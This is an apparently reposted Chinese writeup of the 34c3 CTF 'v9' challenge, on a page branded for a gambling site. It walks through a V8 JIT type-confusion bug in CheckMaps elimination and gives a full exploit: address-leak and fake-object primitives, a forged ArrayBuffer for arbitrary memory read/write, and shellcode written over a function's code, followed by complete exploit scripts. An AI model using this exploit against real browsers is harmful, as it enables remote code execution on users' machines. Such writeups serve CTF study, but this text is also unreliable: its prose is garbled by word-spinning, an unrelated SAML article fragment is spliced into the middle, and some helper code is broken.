34c3 v9 writeup | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

34c3 v9 writeup

申博_安全预警 申博 80次浏览 已收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

情况搭建

https://github.com/saelo/v9

mkdir v9 && cd v9
fetch v8 && cd v8           # see https://github.com/v8/v8/wiki/Building-from-Source
git checkout 6.3.292.48
gclient sync
patch -p1 < /path/to/v9.patch
./tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug

exploit

东西类预备

这局部就是一些可复用的代码。

String.prototype.padLeft =
Number.prototype.padLeft = function(total, pad) {
  return (Array(total).join(pad || 0) + this).slice(-total);
}

// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
    var res = [];
    for (var i = 0; i < bytes.length; i++){
        //print(bytes[i].toString(16));
        res.push(('0' + bytes[i].toString(16)).substr(-2));
    }
    return res.join('');

}

// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
    if (hexstr.length % 2 == 1)
        throw new TypeError("Invalid hex string");

    var bytes = new Uint8Array(hexstr.length / 2);
    for (var i = 0; i < hexstr.length; i += 2)
        bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);

    return bytes;
}

function hexdump(data) {
    if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
        data = Array.from(data);

    var lines = [];
        var chunk = data.slice(i, i+16);
    for (var i = 0; i < data.length; i += 16) {
        var parts = chunk.map(hex);
        if (parts.length > 8)
            parts.splice(8, 0, ' ');
        lines.push(parts.join(' '));
    }

    return lines.join('\n');
}

// Simplified version of the similarly named python module.
var Struct = (function() {
    // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
    var buffer      = new ArrayBuffer(8);
    var byteView    = new Uint8Array(buffer);
    var uint32View  = new Uint32Array(buffer);
    var float64View = new Float64Array(buffer);

    return {
        pack: function(type, value) {
            var view = type;        // See below
            view[0] = value;
            return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
        },

        unpack: function(type, bytes) {
            if (bytes.length !== type.BYTES_PER_ELEMENT)
                throw Error("Invalid bytearray");

            var view = type;        // See below
            byteView.set(bytes);
            return view[0];
        },

        // Available types.
        int8:    byteView,
        int32:   uint32View,
        float64: float64View
    };
})();

function Int64(v) {
    // The underlying byte array.
    var bytes = new Uint8Array(8);

    switch (typeof v) {
        case 'number':
            v = '0x' + Math.floor(v).toString(16);
        case 'string':
            if (v.startsWith('0x'))
                v = v.substr(2);
            if (v.length % 2 == 1)
                v = '0' + v;

            var bigEndian = unhexlify(v, 8);
            //print(bigEndian.toString());
            bytes.set(Array.from(bigEndian).reverse());
            break;
        case 'object':
            if (v instanceof Int64) {
                bytes.set(v.bytes());
            } else {
                if (v.length != 8)
                    throw TypeError("Array must have excactly 8 elements.");
                bytes.set(v);
            }
            break;
        case 'undefined':
            break;
        default:
            throw TypeError("Int64 constructor requires an argument.");
    }

    // Return a double whith the same underlying bit representation.
    this.asDouble = function() {
        // Check for NaN
        if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
            throw new RangeError("Integer can not be represented by a double");

        return Struct.unpack(Struct.float64, bytes);
    };

    // Return a javascript value with the same underlying bit representation.
    // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
    // due to double conversion constraints.
    this.asJSValue = function() {
        if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
            throw new RangeError("Integer can not be represented by a JSValue");

        // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
        this.assignSub(this, 0x1000000000000);
        var res = Struct.unpack(Struct.float64, bytes);
        this.assignAdd(this, 0x1000000000000);

        return res;
    };

    // Return the underlying bytes of this number as array.
    this.bytes = function() {
        return Array.from(bytes);
    };

    // Return the byte at the given index.
    this.byteAt = function(i) {
        return bytes[i];
    };

    // Return the value of this number as unsigned hex string.
    this.toString = function() {
        //print("toString");
        return '0x' + hexlify(Array.from(bytes).reverse());
    };

    // Basic arithmetic.
    // These functions assign the result of the computation to their 'this' object.

    // Decorator for Int64 instance operations. Takes care
    // of converting arguments to Int64 instances if required.
    function operation(f, nargs) {
        return function() {
            if (arguments.length != nargs)
                throw Error("Not enough arguments for function " + f.name);
            for (var i = 0; i < arguments.length; i++)
                if (!(arguments[i] instanceof Int64))
                    arguments[i] = new Int64(arguments[i]);
            return f.apply(this, arguments);
        };
    }

    // this = -n (two's complement)
    this.assignNeg = operation(function neg(n) {
        for (var i = 0; i < 8; i++)
            bytes[i] = ~n.byteAt(i);

        return this.assignAdd(this, Int64.One);
    }, 1);

    // this = a + b
    this.assignAdd = operation(function add(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) + b.byteAt(i) + carry;
            carry = cur > 0xff | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);

    // this = a - b
    this.assignSub = operation(function sub(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) - b.byteAt(i) - carry;
            carry = cur < 0 | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);

    // this = a & b
    this.assignAnd = operation(function and(a, b) {
        for (var i = 0; i < 8; i++) {
            bytes[i] = a.byteAt(i) & b.byteAt(i);
        }
        return this;
    }, 2);
}

// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
    var bytes = Struct.pack(Struct.float64, d);
    return new Int64(bytes);
};

// Convenience functions. These allocate a new Int64 to hold the result.

// Return -n (two's complement)
function Neg(n) {
    return (new Int64()).assignNeg(n);
}

// Return a + b
function Add(a, b) {
    return (new Int64()).assignAdd(a, b);
}

// Return a - b
function Sub(a, b) {
    return (new Int64()).assignSub(a, b);
}

// Return a & b
function And(a, b) {
    return (new Int64()).assignAnd(a, b);
}

function hex(a) {
    if (a == undefined) return "0xUNDEFINED";
    var ret = a.toString(16);
    if (ret.substr(0,2) != "0x") return "0x"+ret;
    else return ret;
}

function lower(x) {
    // returns the lower 32bit of double x
    return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-8,8),16) | 0;
}

function upper(x) {
    // returns the upper 32bit of double x
    return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-16, 8),16) | 0;
}


function lowerint(x) {
    // returns the lower 32bit of int x
    return parseInt(("0000000000000000" + x.toString(16)).substr(-8,8),16) | 0;
}

function upperint(x) {
    // returns the upper 32bit of int x
    return parseInt(("0000000000000000" + x.toString(16)).substr(-16, 8),16) | 0;
}

function combine(a, b) {
    //a = a >>> 0;
    //b = b >>> 0;
    //print(a.toString());
    //print(b.toString());
    return parseInt(Int64.fromDouble(b).toString() + Int64.fromDouble(a).toString(), 16);
}


//padLeft用于字符串左补位

function combineint(a, b) {
    //a = a >>> 0;
    //b = b >>> 0;
    return parseInt(b.toString(16).substr(-8,8) + (a.toString(16)).padLeft(8), 16);
}

  // based on Long.js by dcodeIO
  // https://github.com/dcodeIO/Long.js
  // License Apache 2
  class _u64 {
     constructor(hi, lo) {
        this.lo_ = lo;
        this.hi_ = hi;
     }

     hex() {
        var hlo = (this.lo_ < 0 ? (0xFFFFFFFF + this.lo_ + 1) : this.lo_).toString(16)
        var hhi = (this.hi_ < 0 ? (0xFFFFFFFF + this.hi_ + 1) : this.hi_).toString(16)
        if(hlo.substr(0,2) == "0x") hlo = hlo.substr(2,hlo.length);
        if(hhi.substr(0,2) == "0x") hhi = hhi.substr(2,hji.length);
        hlo = "00000000" + hlo
        hlo = hlo.substr(hlo.length-8, hlo.length);
        return "0x" + hhi + hlo;
     }

     isZero() {
        return this.hi_ == 0 && this.lo_ == 0;
     }

     equals(val) {
        return this.hi_ == val.hi_ && this.lo_ == val.lo_;
     }

     and(val) {
        return new _u64(this.hi_ & val.hi_, this.lo_ & val.lo_);
     }

     add(val) {
        var a48 = this.hi_ >>> 16;
        var a32 = this.hi_ & 0xFFFF;
        var a16 = this.lo_ >>> 16;
        var a00 = this.lo_ & 0xFFFF;

        var b48 = val.hi_ >>> 16;
        var b32 = val.hi_ & 0xFFFF;
        var b16 = val.lo_ >>> 16;
        var b00 = val.lo_ & 0xFFFF;

        var c48 = 0, c32 = 0, c16 = 0, c00 = 0;
        c00 += a00 + b00;
        c16 += c00 >>> 16;
        c00 &= 0xFFFF;
        c16 += a16 + b16;
        c32 += c16 >>> 16;
        c16 &= 0xFFFF;
        c32 += a32 + b32;
        c48 += c32 >>> 16;
        c32 &= 0xFFFF;
        c48 += a48 + b48;
        c48 &= 0xFFFF;

        return new _u64((c48 << 16) | c32, (c16 << 16) | c00);
     }

     addi(h,l) {
        return this.add(new _u64(h,l));
     }

     subi(h,l) {
        return this.sub(new _u64(h,l));
     }

     not() {
        return new _u64(~this.hi_, ~this.lo_)
     }

     neg() {
        return this.not().add(new _u64(0,1));
     }

     sub(val) {
        return this.add(val.neg());
     };

     swap32(val) {
        return ((val & 0xFF) << 24) | ((val & 0xFF00) << 8) |
              ((val >> 8) & 0xFF00) | ((val >> 24) & 0xFF);
     }

     bswap() {
        var lo = swap32(this.lo_);
        var hi = swap32(this.hi_);
        return new _u64(lo, hi);
     };
  }
var u64 = function(hi, lo) { return new _u64(hi,lo) };

function gc(){
    for (var i = 0; i < 1024 * 1024 * 16; i++){
        new String();
    }
}

在这次exp编写中,用到的主若是

Int64.fromDouble(double num);
new Int64(int num).asDouble();
  • Int64.fromDouble(double num)
    Constructs a new Int64 instance with the same bit representation as the provided double.
    比方:
    print(Int64.fromDouble(1.1));
    print(typeof(Int64.fromDouble(1.1)));
    ...
    ...
    0x3ff199999999999a
    object
  • new Int64(int num).asDouble();
    Return a double whith the same underlying bit representation.
    比方
    print(new Int64(0x3ff199999999999a).asDouble());
    print(typeof(new Int64(0x3ff199999999999a).asDouble()));
    ...
    ...
    1.1000000000000227
    number

root cause

diff --git a/src/compiler/redundancy-elimination.cc b/src/compiler/redundancy-elimination.cc
index 3a40e8d..cb51acc 100644
--- a/src/compiler/redundancy-elimination.cc
+++ b/src/compiler/redundancy-elimination.cc
@@ -5,6 +5,8 @@
 #include "src/compiler/redundancy-elimination.h"

 #include "src/compiler/node-properties.h"
+#include "src/compiler/simplified-operator.h"
+#include "src/objects-inl.h"

 namespace v8 {
 namespace internal {
@@ -23,6 +25,7 @@ Reduction RedundancyElimination::Reduce(Node* node) {
     case IrOpcode::kCheckHeapObject:
     case IrOpcode::kCheckIf:
     case IrOpcode::kCheckInternalizedString:
+    case IrOpcode::kCheckMaps:
     case IrOpcode::kCheckNumber:
     case IrOpcode::kCheckReceiver:
     case IrOpcode::kCheckSmi:
@@ -129,6 +132,14 @@ bool IsCompatibleCheck(Node const* a, Node const* b) {
     if (a->opcode() == IrOpcode::kCheckInternalizedString &&
         b->opcode() == IrOpcode::kCheckString) {
       // CheckInternalizedString(node) implies CheckString(node)
+    } else if (a->opcode() == IrOpcode::kCheckMaps &&
+               b->opcode() == IrOpcode::kCheckMaps) {
+      // CheckMaps are compatible if the first checks a subset of the second.
+      ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
+      ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
+      if (!b_maps.contains(a_maps)) {
+        return false;
+      }
     } else {
       return false;
     }

每个对象都有一个map来符号这个对象的范例,而checkmap就是用来搜检这个对象的范例有无转变的。
若是没变的话就能够一直走fast path,不然就要baliout。
依据给出的含破绽的patch可知,JIT优化中的函数挪用条理以下:

Reduction RedundancyElimination::Reduce(Node* node) {
  if (node_checks_.Get(node)) return NoChange();
  switch (node->opcode()) {
    case IrOpcode::kCheckMaps:
    ...
      return ReduceCheckNode(node);

-->
Reduction RedundancyElimination::ReduceCheckNode(Node* node) {
  Node* const effect = NodeProperties::GetEffectInput(node);
  EffectPathChecks const* checks = node_checks_.Get(effect);
  // If we do not know anything about the predecessor, do not propagate just yet
  // because we will have to recompute anyway once we compute the predecessor.
  if (checks == nullptr) return NoChange();
  // See if we have another check that dominates us.
  if (Node* check = checks->LookupCheck(node)) {
    ReplaceWithValue(node, check);
    return Replace(check);
  }

-->
Node* RedundancyElimination::EffectPathChecks::LookupCheck(Node* node) const {
  for (Check const* check = head_; check != nullptr; check = check->next) {
    if (IsCompatibleCheck(check->node, node)) {
      DCHECK(!check->node->IsDead());
      return check->node;
    }
  }
  return nullptr;
}

-->
bool IsCompatibleCheck(Node const* a, Node const* b) {
  if (a->op() != b->op()) {
    ...
    } else if (a->opcode() == IrOpcode::kCheckMaps &&
               b->opcode() == IrOpcode::kCheckMaps) {
      // CheckMaps are compatible if the first checks a subset of the second.
      ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
      ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
      if (!b_maps.contains(a_maps)) {
        return false;
      }
    } else {
      return false;
    }
  }
  ...
  return true;
}

首先在Reduce里碰到CheckMaps的时刻

case IrOpcode::kCheckMaps:
    ...
      return ReduceCheckNode(node);

为了找到最优的dominates,会去遍历其他的check

for (Check const* check = head_; check != nullptr; check = check->next) {

若是找到其他的CheckMaps的话,会搜检是不是“兼容”,会去看它们的maps,若是第一个搜检已包罗第二个搜检的话,就会把第二个搜检给去掉。

if (Node* check = checks->LookupCheck(node)) {
    ReplaceWithValue(node, check);
    ...
    Node* RedundancyElimination::EffectPathChecks::LookupCheck(Node* node) const {
        if (IsCompatibleCheck(check->node, node)) {
            DCHECK(!check->node->IsDead());
            return check->node;
        }

应用思绪

type confusion能够让我们获得关于用户空间任何object的读写权限,能够将恣意一个对象的指针当做一个double读出来,也能够将恣意一个double当做一个对象的指针写进去,如许我们就能够在一个地点捏造一个对象。

经由过程type confusion去fake map,fake ArrayBuffer,然后经由过程改我们fake的ArrayBuffer的BackingStore获得恣意地点读写的原语。

fake map prototype&&constructor

PS.事实上这步能够不须要。只是事前进修他人exp的时刻写的
经由过程type confusion去leak ab的prototype地点,且由于prototype和constructor的地点偏移是流动的,以是能够去经由过程prototype的地点去盘算出constructor的地点,然后将他们写入我们要fake的map对应的地位。
不外也能够直接用ab.__proto__.constructor获得constructor的地点。

var ab=new ArrayBuffer(0x20);
// print("float is " + (new Int64(0x001900c60f00000a)).asDouble().toString());
// print("float is " + (new Int64(0x00000000082003ff)).asDouble().toString());

arr0=[1.1,2.2,3.3,4.4];
// leak arraybuffer的prototype和constructor
function read_obj_addr(object){
    function evil_r0() {
        arr0[0] = object;
    }
    for (var i = 0; i < 100000; i++) {
        trigger(arr0, function() {})
    }
    re=Int64.fromDouble(trigger(arr0,evil_r0));
    return re;
}

ab_proto_addr=parseInt(read_obj_addr(ab.__proto__));
print("要被leak的ArrayBuffer");
%DebugPrint(ab);
print(ab_proto_addr.toString(16));
ab_constructor_addr = ab_proto_addr - 0x1b0;
print(ab_constructor_addr.toString(16));

log

要被leak的ArrayBuffer
DebugPrint: 0x130c771022d9: [JSArrayBuffer]
 - map = 0x228d52a02f71 [FastProperties]
...
0x228d52a02f71: [Map]
 - type: JS_ARRAY_BUFFER_TYPE
...
 - prototype: 0x34f96880b7b9 <Object map = 0x228d52a02fc1>
 - constructor: 0x34f96880b609 <JSFunction ArrayBuffer (sfi = 0x157dbc033711)>
 ...
 ...
34f96880b7b9
34f96880b609

fake map并leak出来

前后两次gc(),让ab_map_obj这个double array移动到old space里,而且让其和它的elements地点偏移恒定。

gc();
gc();
var ab_map_obj = [
    -1.1263976280432204e+129,   //0xdaba0000daba0000,写死便可,这个数字应当无所谓
    3.477098183419809e-308,     //这里是流动的标记位,直接打印一个ArrayBuffer,把对应于map这个地位的标记位用对应的double number写进去便可
    6.73490047e-316,            //这里是流动的标记位,直接打印一个ArrayBuffer,把对应于map这个地位的标记位用对应的double number写进去便可
    -1.1263976280432204e+129,   // use prototype replace it
    -1.1263976280432204e+129,   // use constructor replace it
    0.0
];
gc();
gc();
DebugPrint: 0x3e0338a149e9: [JSArray] in OldSpace
...
...
 - elements = 0x3e0338a14a49 <FixedDoubleArray[6]> {
           0: -1.1264e+129
           1: 3.4771e-308
           2: 6.7349e-316
         3-4: -1.1264e+129
           5: 0
 }
我们要fake的map在elements里,而elements的前面0x10分别是map和length,以是
0x3e0338a14a49 + 0x10 -0x3e0338a149e9 = 0x70
...
...
gdb-peda$ x/20gx 0x3e0338a14a49-1
0x3e0338a14a48: 0x000037d6d7302de1  0x0000000600000000
0x3e0338a14a58: 0xdaba0000daba0000  0x001900c60f00000a
0x3e0338a14a68: 0x00000000082003ff  0xdaba0000daba0000
0x3e0338a14a78: 0xdaba0000daba0000  0x0000000000000000
0x3e0338a14a88: 0x000037d6d7302201  0x0006b57800000000

然后将其ab_map_obj的地点leak出来,加上0x70就是我们fake的map的地点。

如何在SAML中查找bug——第一部分

前言 这篇文章是关于Bug Bounty 项目中如何挖掘 SAML(安全断言标记语言)相关漏洞的方法论的第一篇文章。关于挖洞方面,我的优势在于我有很强的CTF经验和网络安全背景,但对于web应用程序安全来说却知之甚少。我发现我掌握的测试web的方法有许多还需要改进,因此这些文章的目的是汇集来自多个来源的信息,丰富自己掌握的web测试方法。我希望任何人都可以通过我这一系列文章学到一项技术,在挖洞的旅途上越挖越远。 背景 让我们从开始测试SAML部署所必须了解的核心概念开始。如果您已经熟悉基础知识,可以跳到第二部分或第三部分。 安全断

print("要leak出ab_map_obj的数组");
%DebugPrint(ab_map_obj);
// leak ab_map_obj的地点

arr1=[1.1,2.2,3.3,4.4];

function read_obj_addr1(object){
    function evil_r1() {
        arr1[0] = object;
    }
    for (var i = 0; i < 100000; i++) {
        trigger(arr1, function() {})
    }
    re=Int64.fromDouble(trigger(arr1,evil_r1));
    // while(1);
    return re;
}

ab_map_obj_addr = parseInt(read_obj_addr1(ab_map_obj))+0x70;
print(ab_map_obj_addr.toString(16));
ab_map_obj_addr = new Int64(ab_map_obj_addr).asDouble();

这里特地说一句,无论是leak照样fake的时刻,获得的都是double,写入的也是依照double写入,这个调试一下就知道了。

fake ArrayBuffer并leak出来

在map被fake好了以后,我们就能够fake ArrayBuffer获得恣意地点读写的原语了。
依旧是前后两次gc(),然后fake一个ArrayBuffer构造。

gc();
gc();

var fake_ab = [
    ab_map_obj_addr, //我们fake的map地点
    ab_map_obj_addr, //写死便可,这个数字应当无所谓
    ab_map_obj_addr, //写死便可,这个数字应当无所谓
    3.4766779039175e-310, /* buffer length 0x4000*/
    3.477098183419809e-308,//backing store,先随意填一个数
    3.477098183419809e-308 //写死便可,这个数字应当无所谓
];

gc();
gc();

然后将这个fake好的ArrayBuffer的地点leak出来,依旧是先leak fake_ab这个JSArray的地点,然后依据偏移0x70找到我们在elements里fake的ArrayBuffer的地点。

arr2=[1.1,2.2,3.3,4.4];

function read_obj_addr2(object){
    function evil_r2() {
        arr2[0] = object;
    }
    for (var i = 0; i < 100000; i++) {
        trigger(arr2, function() {})
    }
    re=Int64.fromDouble(trigger(arr2,evil_r2));
    return re;
}
print("要leak出的fake_ab的数组");
%DebugPrint(fake_ab);
fake_ab_float_addr=parseInt(read_obj_addr2(fake_ab))+0x70;
print(fake_ab_float_addr.toString(16));

fake_ab_float_addr=new Int64(fake_ab_float_addr).asDouble();

log

leak出的map地点是810f1c94a01

要leak出的fake_ab的数组
DebugPrint: 0x810f1c96e29: [JSArray] in OldSpace
 ...
 ...
 - elements = 0x810f1c96e89 <FixedDoubleArray[6]> {
         0-2: 4.3818e-311
           3: 3.47668e-310
         4-5: 3.4771e-308
 }

810f1c96e99
...
...
gdb-peda$ x/20gx 0x810f1c96e89-1
0x810f1c96e88:  0x0000361a14882de1-->fixedArray真正的map   0x0000000600000000-->fixedArray的length
下面才是我们fake的ArrayBuffer
...
...
0x810f1c96e98:  0x00000810f1c94a01-->fake map   0x00000810f1c94a01-->随意
0x810f1c96ea8:  0x00000810f1c94a01-->随意 0x0000400000000000-->length
0x810f1c96eb8:  0x001900c60f00000a-->backingstore   0x001900c60f00000a-->随意
0x810f1c96ec8:  0x0000361a14882201  0x0006913800000000

...
0x810f1c96e89+0x10-0x810f1c96e29=0x70

将我们fake的ArrayBuffer当做一个JSObject读出来

我们能够在callback里改掉array的范例,好比将一个double array改成了object array,然则由于type confusion,我们在第二次对arr[0]从新写入值的时刻,依旧把arr当做一个double array,并将其写入。
如许现实上,我们把一个double的数值当做一个object指针写入。

以下,写入以后,arrr[0]将由于我们fake的arraybuffer的map,被视作一个arraybuffer看待,因而能够用它来初始化一个DataView。

DataView就能够操纵这个fake的ArrayBuffer的BackingStore地点对应的内存。

arrr=[1.1,2.2,3.3,4.4];

function write_obj_addr(object){
    function evil_w0() {
        arrr[0] = {};
    }
    for (var i = 0; i < 100000; i++) {
        trigger2(arrr, function() {},1.1);
    }
    trigger2(arrr,evil_w0,fake_ab_float_addr);
}
write_obj_addr(fake_ab_float_addr);
//DataView(ArrayBuffer buffer [, 字节肇端地位 [, 长度]]);
fake_dv = new DataView(arrr[0],0,0x4000);
%DebugPrint(fake_dv);

leak一个function的code指针的地点,并将其写入fake ArrayBuffer的BackingStore

由此,我们就能够读取对应于code指针地点地点的code指针的值。
以下图log,我须要获得code的地点,

gdb-peda$ job 0xac9a5c986c9
0xac9a5c986c9: [Function] in OldSpace
 - map = 0x3a6b959824d1 [FastProperties]
 - prototype = 0x2e1993f04669
 - elements = 0x21df6cd02251 <FixedArray[0]> [HOLEY_ELEMENTS]
 - initial_map = 
 - shared_info = 0x2e1993f3ceb9 <SharedFunctionInfo>
 - name = 0x21df6cd02441 <String[0]: >
 - formal_parameter_count = 0
 - kind = [ NormalFunction ]
 - context = 0x2e1993f03d91 <FixedArray[281]>
 - code = 0x19d27c522f01 <Code BUILTIN>
...
...
gdb-peda$ x/20gx 0xac9a5c986c9-1
0xac9a5c986c8:  0x00003a6b959824d1  0x000021df6cd02251
0xac9a5c986d8:  0x000021df6cd02251  0x000021df6cd02321
0xac9a5c986e8:  0x00002e1993f3ceb9  0x00002e1993f03d91
0xac9a5c986f8:  0x00002e1993f3d091  0x000019d27c522f01-->code

从图中能够看出来,就是function-1(这个减一是由于v8中指针末位都置为1,须要去掉)+0x38,我们把它leak出来。

gc();
gc();
var evil_f = new Function("var a = 1000000");
gc();
gc();

print("要read的function");
%DebugPrint(evil_f);
arr3=[1.1,2.2,3.3,4.4];

function read_obj_addr3(object){
    function evil_r3() {
        arr3[0] = object;
        %DebugPrint(arr3);
    }
    for (var i = 0; i < 100000; i++) {
        trigger(arr3, function() {})
    }
    re=Int64.fromDouble(trigger(arr3,evil_r3));
    return re;
}
shellcode_address_ref=parseInt(read_obj_addr3(evil_f))+0x38-1;
print(shellcode_address_ref.toString(16));

以是找到这个地点后,我们将其写入fake arraybuffer的backingstore,就能用dataview把这个地点对应的数据读出来。

fake_dv = new DataView(arrr[0],0,0x4000);
...
...
shellcode_address =  fake_dv.getFloat64(0,true);
print(Int64.fromDouble(shellcode_address).toString(16));

然则这个地点,并非真正的函数对应的实行的代码的进口,它还须要加上0x5f,如图:

gdb-peda$ job 0x19d27c522f01
0x19d27c522f01: [Code]
kind = BUILTIN
name = InterpreterEntryTrampoline
compiler = unknown
Instructions (size = 1170)
0x19d27c522f60-->从这最先     0  488b5f2f       REX.W movq rbx,[rdi+0x2f]
0x19d27c522f64     4  488b5b07       REX.W movq rbx,[rbx+0x7]
0x19d27c522f68     8  488b4b0f       REX.W movq rcx,[rbx+0xf]
0x19d27c522f6c     c  f6c101         testb rcx,0x1
0x19d27c522f6f     f  0f8512020000   jnz 0x19d27c523187  (InterpreterEntryTrampoline)
0x19d27c522f75    15  f6c101         testb rcx,0x1
0x19d27c522f78    18  7410           jz 0x19d27c522f8a  (InterpreterEntryTrampoline)
0x19d27c522f7a    1a  48ba000000003d000000 REX.W movq rdx,0x3d00000000
0x19d27c522f84    24  e857350200     call 0x19d27c5464e0  (Abort)    ;; code: BUILTIN
0x19d27c522f89    29  cc             int3l
0x19d27c522f8a    2a  4885c9         REX.W testq rcx,rcx
0x19d27c522f8d    2d  0f842c030000   jz 0x19d27c5232bf  (InterpreterEntryTrampoline)
0x19d27c522f93    33  f6c101         testb rcx,0x1
0x19d27c522f96    36  7410           jz 0x19d27c522fa8  (InterpreterEntryTrampoline)
0x19d27c522f98    38  48ba000000003d000000 REX.W movq rdx,0x3d00000000

因而我们还要再加上0x5f

shellcode_address=shellcode_address+new Int64(0x5f).asDouble();
print(Int64.fromDouble(shellcode_address).toString(16));

向函数要实行的代码的地点,写入我们的shellcode

同上,将函数要实行的代码的地点写入到BackingStore,并用dataview向这个地点写入shellcode。

fake_ab[4]=shellcode_address;
fake_ab[5]=shellcode_address;
%DebugPrint(fake_ab);
// while(1);
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
for(var i = 0; i < shellcode.length;i++){
    var value = shellcode[i];       
    fake_dv.setUint32(i * 4,value,true);
}
print("go to shellcode!");
evil_f();

exploit

34c3 v9 writeup

附录

JSArrayBuffer

ArrayBuffer and TypedArray

  • Originally ArrayBuffer
    • 一个能够直接从JavaScript接见内存的特别数组
      • 然则,ArrayBuffer仅预备一个buffer
      • BackingStore——能够运用TypedArray/DataView,指定的范例读取和写入该地区,比方作为原始数据数组接见的8位或32位内存
        34c3 v9 writeup
      • 为了现实接见,有须要一同运用TypedArray或DataView
        34c3 v9 writeup
    • 运用例子 (TypedArray版本)
      • 建立要领1,仅指定长度,初始化为零
        t_arr = new Uint8Array(128) //ArrayBuffer被建立在内部
      • 建立要领2,运用特定值初始化
        t_arr = new Uint8Array([4,3,2,1,0]) //ArrayBuffer被建立在内部
      • 建立要领3,事前构建缓冲区并运用它
        arr_buf = new ArrayBuffer(8);
        t_arr1 = new Uint16Array(arr_buf); //建立一个Uint16数组
        t_arr2 = new Uint16Array(arr_buf, 0, 4); //或许,您也能够指定数组的最先和完毕地位
    • ArrayBuffer能够在分歧的TypedArray之间同享
      • 它也能够用于double和int的范例转换
        • 范例转换的意义在于转变字节序列的诠释,而不是转换
        • 就像C言语的Union
      • BackingStore——能够运用TypedArray指定的范例读取和写入该地区,比方作为原始数据数组接见的8位或32位内存
        34c3 v9 writeup
      • ①预先预备ArrayBuffer
        var ab = new ArrayBuffer(0x100);
      • ②向ArrayBuffer中写入一个Float64的值
        var t64 = new Float64Array(ab);
        t64[0] = 6.953328187651540e-310;//字节序列是0x00007fffdeadbeef
        –>当某些地点在V8上泄漏时,通常在大多数情况下被迫将其诠释为双精度值,为了准确盘算偏移量等,须要将其转换为整数值。 关于完成该转换,ArrayBuffer是最好的
      • ③从ArrayBuffer读取两个Uint32
        var t32 = new Uint32Array(ab);
        k = [t32[1],t32[0]]
        –>k是6.953328187651540e-310,将字节序列依照4个字节去离开,然后诠释为Uint32,因而获得:
        k=[0x00007fff,0xdeadbeef]

JSArrayBuffer

  • 持有ArrayBuffer的对象
    • 继续Object,HeapObject,JSReceiver,JSObject
      • 内存构造以下(在64位情况的情况下)
        34c3 v9 writeup
  • 现实演示
    • 寄存TypedArray
    • 运用长度0x13370搜刮ArrayBuffer的内存地位
      34c3 v9 writeup
    • 在V8中,对象通常被寄存在由GC治理的mapped地区,但是BackingStore是一个不被GC治理的地区,而且被寄存在heap中(在图中,能够看到malloc块有prev_size和size成员)
      另外,由于它不是由GC治理的HeapObject,因而指向BackingStore的指针不是Tagged Value(末端不克不及为1)
      34c3 v9 writeup
    • 虽然在ArrayBuffer中形貌了巨细,但若是将此值重写为较大的值,则能够许可读取和写入的长度,超越BackingStore数组的局限。
    • 一样,若是您能够重写BackingStore指针,则能够读取和写入恣意内存地点,这些是在exploit中经常使用的要领。
      34c3 v9 writeup

完全exp

我写了两个版本的exp,思绪一样,然则写法轻微有点分歧,版本一相对简约惬意一些,版本二觉得会稳固一点。

版本1

function gc(){
    for(var i=0;i<1024 * 1024 *16;i++){
        new String;
    }
}
function d2u(num1,num2){
    d = new Uint32Array(2);
    d[0] = num2;
    d[1] = num1;
    f = new Float64Array(d.buffer);
    return f[0];
}
function u2d(num){
    f = new Float64Array(1);
    f[0] = num;
    d = new Uint32Array(f.buffer);
    return d[1] * 0x100000000 + d[0];
}
function change_to_float(intarr,floatarr){
    var j = 0;
    for(var i = 0;i < intarr.length;i = i+2){
        var re = d2u(intarr[i+1],intarr[i]);
        floatarr[j] = re;
        j++;
    }
}

// leak出object的地点,行将一个object当做double读出来
function trigger(arr,callback){
    var v=arr[0];
    callback();
    return arr[0];
}

// 将一个数当做object写进去
function trigger2(arr, callback, val) {
    var v = arr[0];
    callback();
    arr[0] = val;
}

var nop = 0xdaba0000;

// 捏造ArrayBuffer的map
var ab_map_obj = [
    nop,nop,
    0x0f00000a,0x001900c6,0x082003ff,0x0,
    nop,nop,   // use ut32.prototype replace it
    nop,nop,0x0,0x0
]
var ab = new ArrayBuffer(0x20);

arr0=[1.1,2.2,3.3,4.4];
// leak arraybuffer的prototype和constructor
function read_obj_addr(object){
    function evil_r0() {
        arr0[0] = object;
    }
    for (var i = 0; i < 100000; i++) {
        trigger(arr0, function() {})
    }
    re=u2d(trigger(arr0,evil_r0));
    return re;
}

ab_proto_addr=read_obj_addr(ab.__proto__);
print("要被leak的ArrayBuffer");
%DebugPrint(ab);
print(ab_proto_addr.toString(16));
